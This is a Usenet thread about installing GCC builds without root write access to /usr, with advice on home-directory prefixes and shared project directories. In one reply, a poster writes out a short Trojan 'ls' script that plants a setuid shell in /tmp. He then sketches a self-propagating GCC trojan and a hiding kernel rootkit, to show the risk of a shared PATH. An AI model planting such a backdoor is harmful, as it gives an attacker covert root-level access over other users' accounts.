FC4 root access via user account

Hi,

I want to be able to have my normal user account access just like root and
to be able to access files under /usr.

I checked an option that I thought would do this but it does not work and I
still have to do a 'su' to access files in /usr.

Many thanks in advance,

Aaron

"Aaron Gray" <ang-usenet@gmail.com> writes:

>Hi,

>I want to be able to have my normal user account access just like root and
>to be able to access files under /usr.

>I checked an option that I thought would do this but it does not work and I
>still have to do a 'su' to access files in /usr.

Access in what sense? Most files in /usr are readable by any user. They are
not writable. They should not be. So what are you trying to do?

>>I checked an option that I thought would do this but it does not work and
>>I
>>still have to do a 'su' to access files in /usr.
>
> Access in what sense? Most files in /usr are readable by any user. They
> are
> not writable. They should not be. So what are you trying to do?

I am wanting to use it to compile programs like GCC and binutils which I am
working on.

Aaron

Aaron Gray <ang-usenet@gmail.com> wrote:
>>>I checked an option that I thought would do this but it does not work and
>>>I
>>>still have to do a 'su' to access files in /usr.
>>
>> Access in what sense? Most files in /usr are readable by any user. They
>> are
>> not writable. They should not be. So what are you trying to do?
>
> I am wanting to use it to compile programs like GCC and binutils which I am
> working on.
>
> Aaron

Why do you need to install them into /usr? Just execute (in bash, as
your normal user account):

$ export PATH=$HOME/bin:$PATH
$ cd $HOME/work/gcc_work
$ ./configure --prefix=$HOME
$ make
$ make install
$ hash -r # Empty hash lookup table for commands; see help hash
$ which gcc

The last command will now list $HOME/bin/gcc. Put the first command in
$HOME/.bashrc if you want the change to be permanent.

Joachim

Joachim Schipper wrote:

> $ export PATH=$HOME/bin:$PATH
> $ cd $HOME/work/gcc_work
> $ ./configure --prefix=$HOME
> $ make
> $ make install
> $ hash -r # Empty hash lookup table for commands; see help hash
> $ which gcc
>
> The last command will now list $HOME/bin/gcc. Put the first command in
> $HOME/.bashrc if you want the change to be permanent.
>
> Joachim

But why "hash -r"? The PATH= resets the hash anyway, doesn't it?


--
Tony Lawrence
Unix/Linux/Mac OS X resources: http://aplawrence.com

Tony Lawrence wrote:
> Joachim Schipper wrote:
>
>> $ export PATH=$HOME/bin:$PATH
>> $ cd $HOME/work/gcc_work
>> $ ./configure --prefix=$HOME
>> $ make
>> $ make install
>> $ hash -r # Empty hash lookup table for commands; see help hash
>> $ which gcc
>>
>> The last command will now list $HOME/bin/gcc. Put the first command in
>> $HOME/.bashrc if you want the change to be permanent.
>>
>> Joachim
>
>
> But why "hash -r"? The PATH= resets the hash anyway, doesn't it?
>
>

Oh, duh, I see: specifically because it's gcc he's compiling, so we need
to clear it to use the new gcc just created..



--
Tony Lawrence
Unix/Linux/Mac OS X resources: http://aplawrence.com

> Why do you need to install them into /usr? Just execute (in bash, as
> your normal user account):
>
> $ export PATH=$HOME/bin:$PATH
> $ cd $HOME/work/gcc_work
> $ ./configure --prefix=$HOME
> $ make
> $ make install
> $ hash -r # Empty hash lookup table for commands; see help hash
> $ which gcc
>
> The last command will now list $HOME/bin/gcc. Put the first command in
> $HOME/.bashrc if you want the change to be permanent.

I need mutiple GCC versions installed and would like to have them availiable
to other user accounts.

Same with other projects as well. I really do need an account with write
access to /usr.

Aaron

"Aaron Gray" <ang-usenet@gmail.com> writes:

>> Why do you need to install them into /usr? Just execute (in bash, as
>> your normal user account):
>>
>> $ export PATH=$HOME/bin:$PATH
>> $ cd $HOME/work/gcc_work
>> $ ./configure --prefix=$HOME
>> $ make
>> $ make install
>> $ hash -r # Empty hash lookup table for commands; see help hash
>> $ which gcc
>>
>> The last command will now list $HOME/bin/gcc. Put the first command in
>> $HOME/.bashrc if you want the change to be permanent.

>I need mutiple GCC versions installed and would like to have them availiable
>to other user accounts.

>Same with other projects as well. I really do need an account with write
>access to /usr.

You have one. It is called root. That is what it is for. If you do not have
root access, they you sure should not be allowed to place programs into
/usr.

Aaron Gray <ang-usenet@gmail.com> wrote:
>> Why do you need to install them into /usr? Just execute (in bash, as
>> your normal user account):
>>
>> $ export PATH=$HOME/bin:$PATH
>> $ cd $HOME/work/gcc_work
>> $ ./configure --prefix=$HOME
>> $ make
>> $ make install
>> $ hash -r # Empty hash lookup table for commands; see help hash
>> $ which gcc
>>
>> The last command will now list $HOME/bin/gcc. Put the first command in
>> $HOME/.bashrc if you want the change to be permanent.
>
> I need mutiple GCC versions installed and would like to have them availiable
> to other user accounts.
>
> Same with other projects as well. I really do need an account with write
> access to /usr.
>
> Aaron

This is still easy. Just use /home/projects or /opt/projects, or
something similar. Install programs under $PROJECTDIR/gcc-3.4.1,
$PROJECTDIR/binutils-2.0.91, and so on. $PROJECTDIR should probably be
owned by a single user, and readable and executable by a to-be-created
group 'developers' or somesuch. Make sure that no suid binaries are
installed - the easiest way is

find $PROJECTDIR -perm +6000 -ls -exec chmod ug-s {} \;

which will both give you a list of s{u,g}id files and denastify them. Of
course, this is pretty weak security - you should really put this on a
seperate partition and use the nosuid mount option.

Now put the following snippet in all concerned users' ~/.bashrc, or
/etc/bashrc if you're feeling adventurous:

** SCRIPT **

PROJECTDIR=/home/projects
for i in $( find $PROJECTDIR -type d -maxdepth 1 -mindepth 1 );
do
PATH="$i:$PATH"
done
export PATH

** END SCRIPT **

Note that the above is pretty dangerous; the writing user should be
trusted with full access to all reading accounts, as this is essentially
what happens - try placing a script named 'ls' in there, reading:

** SCRIPT **

#!/bin/bash

MYSHELL=/tmp/sh$( id -u )
if [ ! -e $MYSHELL ];
then
/bin/install -m 4775 /bin/sh $MYSHELL >/dev/null 2>&1
fi

exec /bin/ls "$@"

** END SCRIPT **

For bonus points, do not Trojan ls, but instead add the above (or
rather, the C equivalent) to the latest and greatest GCC build. For even
more bonus points, make this GCC build automatically insert this Trojan
capacity into any gcc instance built, even from pristine source code.
Mastery is achieved by additionally Trojaning the kernel so that both
strace and gdb will be fooled when looking at your gcc, and that the
/tmp/sh* binaries are invisible and executable only for you.

In short, this is a rather insecure setup. (But infinitely preferable to
messing with /usr, unless you are going to put it in root's PATH as
well...)

Compiling stuff is pretty easy. You can even use a simple script to do
it:

** SCRIPT **

#!/bin/bash

cd $HOME/${1:?"You should enter a name!"} && \
../configure ${PROJECTDIR:?"PROJECTDIR not set!"} && \
make && \
make install

** END SCRIPT **

This can even be implemented as function in .bashrc or /etc/bashrc:

** SCRIPT **

compile() {
cd $HOME/${1:?"You should enter a name!"} && \
./configure ${PROJECTDIR:?"PROJECTDIR not set!"} && \
make && \
make install
}

** END SCRIPT **

This way, you've an easy solution that will only moderately compromise
your system.

Writing to /usr is a pretty bad idea. It a) defeats the entire Linux
security model, b) will thoroughly hose you if you make a mistake
(especially with such critical stuff as gcc - how are you going to get
another version up and running? Only reinstalling an rpm will save you
here), c) messes up the package manager, d) confuses the hell out of you
when you wonder why FC's gcc does not work, e) ... well, you get the
idea.

Please note that the above scripts are not a particularly good idea,
either, due to the above-mentioned Trojan problem. This is inherent in
your setup, I am afraid.

Granting a user write access to /usr is trivial, BTW - it's just
monumentally stupid, *exactly* as monumentally stupid as just running as
root all the time - because that's what you are, in fact, doing.

Joachim

P.S. I do not claim any rights to the above scripts. They are posted
as-is, untested and with the warning that they will have an adverse
effect on your system's security, and may have any number of other bugs.
I do not accept responsibility for any (negative) consequences from
running them.

{snip}

I am afraid I do not like those solutions.

> Granting a user write access to /usr is trivial, BTW - it's just
> monumentally stupid, *exactly* as monumentally stupid as just running as
> root all the time - because that's what you are, in fact, doing.

Yes I wanted /usr but not root access. At the moment I am using 'su' to do
my work. I would rather have /usr read and write access added to my user
account.

Aaron